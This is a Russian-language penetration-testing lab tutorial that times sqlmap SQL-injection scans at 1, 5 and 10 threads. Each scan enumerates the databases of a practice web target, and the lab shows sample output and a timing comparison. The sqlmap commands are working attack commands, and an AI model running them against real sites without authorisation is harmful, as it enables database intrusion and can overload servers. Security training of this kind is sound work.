Оптимизация производительности сканирования с помощью потоков в sqlmap

Kali LinuxBeginner
Практиковаться сейчас

Введение

sqlmap — это мощный инструмент для тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и эксплуатации уязвимостей SQL-инъекций. По умолчанию sqlmap выполняет тесты последовательно, отправляя по одному запросу за раз. Хотя это надежно, это может быть медленно, особенно для сложных веб-приложений или при выполнении тестов на основе времени (time-based blind injection).

В этой лаборатории вы узнаете, как значительно ускорить сканирование sqlmap, используя опцию --threads. Этот флаг позволяет sqlmap выполнять несколько HTTP-запросов одновременно, значительно сокращая общее время, необходимое для завершения сканирования. Вы выполните серию сканирований с разным количеством потоков и сравните результаты, чтобы наглядно увидеть улучшение производительности.

Выполнение базового сканирования с одним потоком

На этом этапе вы выполните базовое сканирование sqlmap, используя настройку по умолчанию с одним потоком. Это послужит нашей базой для измерения улучшений производительности на последующих этапах. Мы будем использовать команду time для точного измерения продолжительности сканирования.

Сначала выполните следующую команду в вашем терминале. Эта команда указывает sqlmap сканировать предоставленный URL (-u), перечислять базы данных (--dbs) и работать в неинтерактивном режиме (--batch). Мы перенаправим вывод в лог-файл, а также используем команду time для измерения времени выполнения.

(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch) 2>&1 | tee baseline_scan.log

После завершения сканирования вы увидите много вывода от sqlmap, а затем в самом конце — измерение времени. Это будет выглядеть примерно так:

... (вывод sqlmap) ...

[22:30:00] [INFO] fetching database names
[22:30:00] [INFO] the SQL query used returns 2 entries
[22:30:00] [INFO] retrieved: information_schema
[22:30:00] [INFO] retrieved: acuart
[22:30:00] [INFO] available databases [2]:
[*] acuart
[*] information_schema

[22:30:00] [INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/testphp.vulnweb.com'

[*] ending @ 22:30:00 /2023-10-27/


real    0m45.123s
user    0m5.456s
sys     0m0.789s

Наиболее важным для нас значением является real, которое представляет общее затраченное время (wall-clock time). Теперь сохраним этот результат в наш файл сравнения scan_times.log.

echo "Baseline (1 Thread): $(grep real baseline_scan.log | awk '{print $2}')" >> scan_times.log

Наконец, просмотрите содержимое лог-файла, чтобы убедиться, что базовое время было записано.

cat scan_times.log

Ваш вывод должен показать записанное время:

Baseline (1 Thread): 0m45.123s

Понимание назначения флага --threads

На этом этапе мы уделим время пониманию ключевой особенности этой лаборатории: флага --threads в sqlmap. На этом этапе нет команд для выполнения; цель состоит в том, чтобы понять концепцию перед ее применением.

Опция --threads используется для установки количества одновременных HTTP(s) запросов, которые sqlmap будет выполнять во время сканирования. Значение по умолчанию — 1.

Как это работает: Вместо отправки одного запроса и ожидания ответа перед отправкой следующего, sqlmap может открыть несколько "потоков" для одновременной отправки нескольких запросов. Этот параллелизм особенно эффективен для задач, включающих множество запросов, таких как:

  • Фаззинг (fuzzing) на уязвимости.
  • Брутфорс (brute-forcing) символов в имени базы данных (слепые SQL-инъекции).
  • Извлечение больших объемов данных.

Преимущества:

  • Скорость: Основное преимущество — значительное сокращение времени сканирования.
  • Эффективность: Позволяет более эффективно использовать ваше сетевое соединение и системные ресурсы.

Соображения:

  • Использование ресурсов: Увеличение количества потоков приведет к большему потреблению ресурсов процессора и памяти.
  • Стабильность цели: Очень большое количество потоков может перегрузить нестабильный или плохо сконфигурированный веб-сервер, потенциально вызывая отказ в обслуживании (denial of service).
  • Обнаружение: Агрессивное многопоточное сканирование с большей вероятностью будет обнаружено и заблокировано межсетевыми экранами веб-приложений (WAF) или системами обнаружения/предотвращения вторжений (IDS/IPS).

sqlmap позволяет установить количество потоков от 1 до максимум 10. На следующих этапах вы увидите, как изменение этого значения влияет на производительность сканирования.

Повторное выполнение сканирования с увеличенным количеством потоков (--threads=5)

На этом этапе вы примените свои знания флага --threads. Давайте повторим то же сканирование, что и раньше, но на этот раз увеличим количество одновременных запросов до 5.

Выполните следующую команду в вашем терминале. Она идентична первой команде, с добавлением --threads=5.

(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch --threads=5) 2>&1 | tee 5_threads_scan.log

После завершения сканирования вы должны заметить, что время real значительно меньше, чем при базовом сканировании.

Теперь добавим этот новый результат в наш файл scan_times.log для сравнения.

echo "5 Threads: $(grep real 5_threads_scan.log | awk '{print $2}')" >> scan_times.log

Давайте снова проверим содержимое лог-файла, чтобы увидеть оба результата.

cat scan_times.log

Теперь вывод покажет время как базового сканирования, так и сканирования с 5 потоками.

Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s

(Примечание: Ваше время будет отличаться, но вы должны увидеть заметное снижение.)

Повторное выполнение сканирования с максимальным количеством потоков (--threads=10)

На этом этапе мы доведем производительность до предела, используя максимальное количество потоков, разрешенное sqlmap, которое составляет 10. Это продемонстрирует максимальный прирост производительности, которого можно достичь с этой опцией в обычных условиях.

Выполните команду сканирования в последний раз, установив количество потоков равным 10.

(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch --threads=10) 2>&1 | tee 10_threads_scan.log

Это сканирование должно быть еще быстрее предыдущего. После его завершения запишите результат в наш лог-файл.

echo "10 Threads: $(grep real 10_threads_scan.log | awk '{print $2}')" >> scan_times.log

Теперь просмотрите файл scan_times.log, чтобы увидеть все три скомпилированных результата.

cat scan_times.log

Вывод теперь будет содержать все три записи, что облегчит их сравнение на следующем этапе.

Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s
10 Threads: 0m9.789s

(Примечание: Ваше время будет отличаться.)

Сравнение длительности сканирования и анализ изменений производительности

На этом заключительном этапе вы проанализируете собранные данные, чтобы сделать вывод об эффективности многопоточности в sqlmap.

Отобразим окончательные результаты, сохраненные в scan_times.log.

cat scan_times.log

Вы увидите вывод, похожий на этот, который наглядно показывает длительность каждого сканирования:

Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s
10 Threads: 0m9.789s

(Примечание: Точное время будет отличаться в зависимости от сетевых условий и загрузки системы, но тенденция должна быть очевидной.)

Анализ: Как видно из результатов, при увеличении количества потоков время сканирования значительно сокращается.

  • Переход от 1 к 5 потокам, вероятно, дал наиболее существенный прирост производительности.
  • Переход от 5 к 10 потокам по-прежнему показывает улучшение, но оно может быть менее выраженным. Это связано с тем, что другие факторы, помимо количества потоков, такие как сетевая задержка или способность сервера обрабатывать одновременные запросы, начинают становиться узким местом.

Этот эксперимент наглядно демонстрирует, что использование флага --threads является простым, но очень эффективным способом оптимизации сканирования sqlmap.

Резюме

Поздравляем с завершением этой лабораторной работы! Вы успешно научились оптимизировать производительность сканирования sqlmap с использованием параллельных запросов.

В этой лабораторной работе вы:

  • Выполнили базовое сканирование с одним потоком для установления эталона производительности.
  • Узнали о назначении флага --threads, его преимуществах и особенностях.
  • Выполнили сканирование с 5 и 10 потоками, чтобы наблюдать за влиянием на длительность сканирования.
  • Сравнили результаты и подтвердили, что увеличение количества потоков значительно сокращает время сканирования.

Овладение такими опциями, как --threads, имеет решающее значение для проведения эффективных и своевременных тестов на проникновение. Помните об ответственном использовании этой возможности, поскольку агрессивное сканирование может негативно сказаться на целевой системе.